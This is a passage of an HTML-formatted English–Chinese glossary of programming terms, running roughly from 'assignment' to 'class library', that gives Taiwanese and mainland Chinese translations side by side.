/>assignment&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;指派、指定&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;赋值、分配<br />assignment operator&nbsp;&nbsp;&nbsp;&nbsp; 指派（赋值）运算子 =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;赋值操作符<br />associated&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;相应的、相关的&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;相关的、关联、相应的<br />associative container&nbsp;&nbsp; 关联式容器（对应 sequential container） 关联式容器<br />atomic&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;不可分割的&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;原子的<br />attribute&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 属性&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;属性、特性<br />audio&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 音讯&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;音频<br />A.I.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;人工智慧&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;人工智能<br />background&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;背景&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;背景（用於图形着色）<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;後台（用於行程）<br />backward compatible&nbsp;&nbsp;&nbsp;&nbsp; 回溯相容&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;向下兼容&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />bandwidth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 频宽&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;带宽<br />base class&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;基础类别&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;基类<br />base type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 基础型别 (等同於 base class)<br />batch&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 批次（意思是整批作业）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;批处理<br />benefit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 利益&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;收益<br />best viable function&nbsp;&nbsp;&nbsp;&nbsp;最佳可行函式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;最佳可行函式<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（从 viable functions 中挑出的最佳吻合者）<br />binary search&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 二分搜寻法&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;二分查找<br />binary tree&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 二元树&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;二叉树<br />binary function&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 二元函式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;双叁函数<br />binary operator&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 二元运算子&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;二元操作符<br />binding&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 系结&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;绑定<br />bit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 位元&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;位<br />bit field&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 位元栏 ?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;位域<br />bitmap&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;位元图 ?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;位图<br />bitwise&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以 bit 为单元逐一┅&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ?<br />bitwise copy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;以 bit 为单元进行复制；位元逐一复制&nbsp;&nbsp;&nbsp;&nbsp; 位拷贝<br />block&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 区块,区段&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 块、区块、语句块<br />boolean&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 布林值（真假值，true 或 false）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 布尔值<br />border&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;边框、框线&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;边框<br />brace(curly brace)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;大括弧、大括号&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;花括弧、花括号<br />bracket(square brakcet) 中括弧、中括号&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;方括弧、方括号<br />breakpoint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;中断点&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;断点<br />build&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 建造、构筑、建置（MS 用语）<br />build-in&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;内建&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;内置<br />bus&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 汇流排&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;总线<br />business&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;商务,业务&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 业务<br />buttons&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 按钮&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;按钮<br />byte&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;位元组（由 8 bits 组成）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;字节<br />cache&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 快取&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;高速缓存<br />call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;呼叫、叫用&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;调用<br />callback&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;回呼&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;回调<br />call operator&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call（函式呼叫）运算子 ()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 调用操作符<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（同 function call operator）<br />candidate function&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;候选函式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;候选函数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（在函式多载决议程序中出现的候选函式）<br />chain&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 串链（例 chain of function calls）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;链<br />character&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 字元&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;字符<br />check box&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 核取方块 (i.e. check button)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;复选框<br />checked exception&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可控式异常(Java)<br />check button&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;方钮 (i.e. check box)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 复选按钮<br />child class&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 子类别（或称为derived class, subtype）&nbsp;&nbsp;子类<br />class&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 类别&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类<br />class body&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类别本体&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类体 ?<br />class declaration&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 类别宣告、类别宣告式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类声明<br />class definition&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类别定义、类别定义式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类定义<br />class derivation list&nbsp;&nbsp; 类别衍化列&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类继承列表<br />class head&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类别表头&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类头 ?<br />class hierarchy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 类别继承体系, 类别阶层&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类层次体系<br />class library&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 